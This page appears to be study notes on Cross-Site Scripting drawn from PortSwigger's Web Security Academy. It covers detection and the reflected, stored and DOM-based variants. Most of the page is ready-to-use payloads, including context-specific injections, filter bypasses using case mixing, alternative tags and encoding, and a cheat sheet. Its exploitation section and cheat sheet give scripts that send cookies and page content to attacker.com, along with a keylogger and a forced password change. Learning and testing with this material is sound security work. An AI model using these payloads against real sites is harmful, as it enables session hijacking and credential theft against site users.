Skip to content

Cross-Site Scripting (XSS)

Source: PortSwigger Web Security Academy Author: Johan Beysen


1. What Is XSS?

Cross-Site Scripting (XSS) lets an attacker inject malicious scripts into web pages that are viewed by other users. The victim's browser executes the script as if it came from the legitimate site.

This can lead to:

  • Stealing session cookies and tokens
  • Hijacking user actions (keylogging, forms)
  • Phishing and credential harvesting
  • Modifying page content (defacement)
  • Performing CSRF attacks on the victim's behalf

Difference from SQLi

XSS targets the victim's browser — SQLi targets the database server. XSS is a client-side attack; the server itself isn't directly compromised.


2. Detecting XSS

Manual detection through a systematic approach at each entry point:

Step What you do
1 Inject a unique benign string: xsstest1234
2 Find the reflection back in the HTTP response
3 Determine the context (HTML, attribute, JS, URL)
4 Test a payload tailored to that context
5 Confirm execution via alert(), print() or console.log()

Burp Scanner

Burp Scanner automatically detects most XSS vulnerabilities. Manual testing is useful to understand the context and impact.

alert() blocked?

Some modern browsers block alert() in sandboxed iframes. Use print() or console.log() as an alternative.


3. Reflected XSS

The payload comes from the HTTP request. The application processes the input and sends it back unsanitized in the immediate response.

https://insecure-website.com/search?q=<script>alert(1)</script>

The server generates:

<p>Search results for: <script>alert(1)</script></p>

The browser executes the script.

Requires interaction

Reflected XSS requires the victim to click a specially crafted link. Attackers spread those links via phishing, forums or URL shorteners.

Most common in: search results, error messages, URL parameters, form validation.


4. Stored XSS

The payload is stored in the database and executed on every page view by other users. No interaction with a link is required.

<!-- The attacker posts in a comment field: -->
Great article! <script>document.location='https://attacker.com/steal?c='+document.cookie</script>

Every visitor who loads the page runs the script.

The most dangerous

Stored XSS is more persistent and more dangerous than Reflected XSS. One injection can hit every future visitor — including admins.

Most common in: comments, forum posts, user profiles, product names, log viewers.


5. DOM-Based XSS

The vulnerability lives in the client-side JavaScript. Attacker data is read from a source and written, without sanitization, into a dangerous sink.

5.1 Sources (attacker data entry points)

document.URL
document.location
document.location.search
document.location.hash
document.referrer
window.name

5.2 Sinks (dangerous write functions)

Sink Risk
document.write() HTML injection
innerHTML HTML injection
eval() JavaScript execution
setTimeout() / setInterval() JavaScript execution
element.src Script/resource loading
location.href Navigation to a javascript: URL

5.3 Example

// Vulnerable code — writes the URL hash directly to the DOM
document.getElementById('output').innerHTML = decodeURIComponent(location.hash.slice(1));

Payload in the URL:

https://insecure-website.com/page#<img src=1 onerror=alert(1)>

DOM XSS vs Reflected/Stored

With DOM XSS, the payload never leaves the browser — it lives entirely in the URL or client-side state. Proxies and scanners that only look at server responses miss this type.


6. XSS Contexts & Payloads

6.1 HTML Context

Reflection between HTML tags:

<!-- Input appears here: -->
<p>Welcome, INPUT</p>
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>

6.2 HTML Attribute Context

Reflection inside an attribute value:

<input value="INPUT">
<a href="INPUT">
" onmouseover="alert(1)
" autofocus onfocus="alert(1)
" onblur="alert(1)" autofocus="
javascript:alert(1)
onmouseover=alert(1)

6.3 JavaScript String Context

Reflection inside a JavaScript string:

var input = 'INPUT';
var input = "INPUT";
'; alert(1)//
'-alert(1)-'
"; alert(1)//
${alert(1)}
</script><script>alert(1)</script>

6.4 URL Context

Reflection in an href or src attribute:

<a href="INPUT">click</a>
javascript:alert(1)

URL encoding

javascript:alert(1) must be correctly URL-encoded in some contexts. Also test JaVaScRiPt:alert(1) if a filter is present.


7. Filter Bypasses

7.1 Case Mixing

<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>

7.2 Alternative Tags

<svg/onload=alert(1)>
<details/open/ontoggle=alert(1)>
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
<math><mtext></table><img src=1 onerror=alert(1)>

7.3 Event Handler Variants

If onerror and onload are blocked:

onfocus      onblur       onmouseover   onmouseout
onkeydown    onkeyup      onkeypress    onclick
onpointerover ontouchstart onanimationend

7.4 Character Encoding

<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>
eval('\x61\x6c\x65\x72\x74\x28\x31\x29')
eval('\141\154\145\162\164\050\061\051')

7.5 Bypassing Spaces

<svg/onload=alert(1)>
<img/src/onerror=alert(1)>
<script>alert`1`</script>

7.6 Bypassing Quotes

<img src=x onerror=alert(1)>
<script>alert(String.fromCharCode(88,83,83))</script>

PortSwigger XSS Cheat Sheet

The PortSwigger XSS cheat sheet contains hundreds of tested payloads per browser and context. See section 8.


8. Impact & Exploitation

8.1 Stealing Cookies

document.location='https://attacker.com/steal?c='+document.cookie

or via fetch (stealthier):

fetch('https://attacker.com/steal?c='+btoa(document.cookie))

8.2 Session Token via XHR

var xhr = new XMLHttpRequest();
xhr.open('GET','https://attacker.com/?token='+document.cookie);
xhr.send();

8.3 Keylogger

document.addEventListener('keypress',function(e){
  fetch('https://attacker.com/key?k='+e.key)
})

8.4 Exfiltrating Page Content

fetch('https://attacker.com/exfil?data='+btoa(document.body.innerHTML))

8.5 Performing an Admin Action (CSRF via XSS)

// Changing the password as admin
fetch('/my-account/change-password', {
  method: 'POST',
  body: 'password=hacked&confirm=hacked'
})

HttpOnly cookie

If the session cookie is HttpOnly, JavaScript can't read document.cookie. But you can still perform actions on the victim's behalf via CSRF attacks from the XSS context.


9. DOM XSS — Step-by-Step Approach

Step 1 — Identifying the source

Look in the JavaScript code for which source holds the attacker data:

// Most common sources
location.search      // URL query string
location.hash        // URL fragment (#...)
document.referrer    // Referring URL
window.name           // Window name
Step 2 — Identifying the sink

Find where the source data ends up:

// Dangerous sinks
document.write(source)
element.innerHTML = source
eval(source)
location.href = source
element.src = source
Step 3 — Tailoring the payload to the sink
// innerHTML sink
<img src=1 onerror=alert(1)>

// document.write sink
<script>alert(1)</script>

// eval() sink
alert(1)

// location.href sink
javascript:alert(1)
Step 4 — Validating the context

Check whether the sink transforms the data further (encode, decode, trim) before adjusting your payload.


10. XSS Cheat Sheet

Basic Payloads

Context Payload
HTML <script>alert(1)</script>
HTML <img src=x onerror=alert(1)>
HTML <svg onload=alert(1)>
Attribute " onmouseover="alert(1)
Attribute " autofocus onfocus="alert(1)
JS String '; alert(1)//
JS Template ${alert(1)}
href javascript:alert(1)
Method Payload
Redirect <script>document.location='https://attacker.com/?c='+document.cookie</script>
Fetch <script>fetch('https://attacker.com/?c='+btoa(document.cookie))</script>
Img <img src=x onerror="this.src='https://attacker.com/?c='+document.cookie">

DOM Sinks vs Payloads

Sink Payload
innerHTML <img src=1 onerror=alert(1)>
document.write() <script>alert(1)</script>
eval() alert(1)
setTimeout() alert(1)
location.href javascript:alert(1)
element.src javascript:alert(1)

Bypass Summary

Filter Bypass
<script> blocked <img src=x onerror=alert(1)>
Lowercase blocked <ScRiPt>alert(1)</sCrIpT>
onerror blocked onfocus autofocus / onmouseover
Quotes blocked onerror=alert(1) (without quotes)
Spaces blocked <svg/onload=alert(1)>
alert blocked print() / confirm() / console.log()